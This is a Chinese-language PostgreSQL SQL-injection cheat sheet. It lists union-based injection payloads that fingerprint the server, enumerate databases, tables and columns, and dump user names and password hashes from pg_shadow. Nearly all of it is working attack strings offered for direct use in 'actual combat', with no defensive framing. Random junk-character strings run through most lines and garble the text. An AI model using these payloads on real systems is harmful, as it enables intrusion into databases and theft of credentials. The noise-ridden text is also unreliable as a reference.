结合了MSSQL MySQL Oracle的一些特点
4 {# o( {* q7 @% d支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/! _1 Z1 u; c) w
连接符: %20 , + , /**/ 内置函数:
- o! O7 B6 `7 o7 i2 W$ Pcurrent_database() //当前数据库名% Z, J7 o4 \% }9 z& X9 l# Y
session_user //会话用户% r9 J, S/ q$ A8 f6 W9 j0 k6 E
current_user //当前数据库用户
{7 A& W$ }2 g& a1 Y& s$ suser //当前用户9 B. W/ y$ g. u A/ N
version() //数据库版本 Union注射:$ _4 Q7 b( w: q0 _% i9 D
order by n–
, I0 R4 N9 M$ U- vand 1=2 union select null,null,null–
& ]7 z! p- K1 gand 1=2 union select ‘beach’,null,null–/ z; C" `/ p! a, T
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
9 b. Q/ Q9 A8 M) egroup_concat(table_name)+ v, |/ ~! M2 O1 a) g1 I
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–; o* Q6 y/ z- @; m0 j( q
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
6 y1 b6 i9 V3 I* V3 N8 i(老版本)9 r' H/ p7 s% P F" @9 v
pg_class.oid对应pg_attribute.attrelid
& w' ~( A5 x. n% ]pg_class.relname表名
+ s$ j5 R, F2 Zpg_attribute.attname字段名 select relname from pg_class获取表名
+ z$ o) p. }1 K0 K' Cselect oid from pg_class where 条件 获取参数
! y3 e ?% s2 v7 Q* u+ lselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:- h6 I V }+ o" y; R
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
# u$ w/ I% c$ {# r% Cand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
/ H2 s8 t0 A9 G: e& n( \2 m由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
+ [6 N& T1 M" R" C6 p% G======================================================================- I2 K% O6 Q0 w4 F
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
; }. R8 E% z) a. D5 o# |( [4 o% _and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |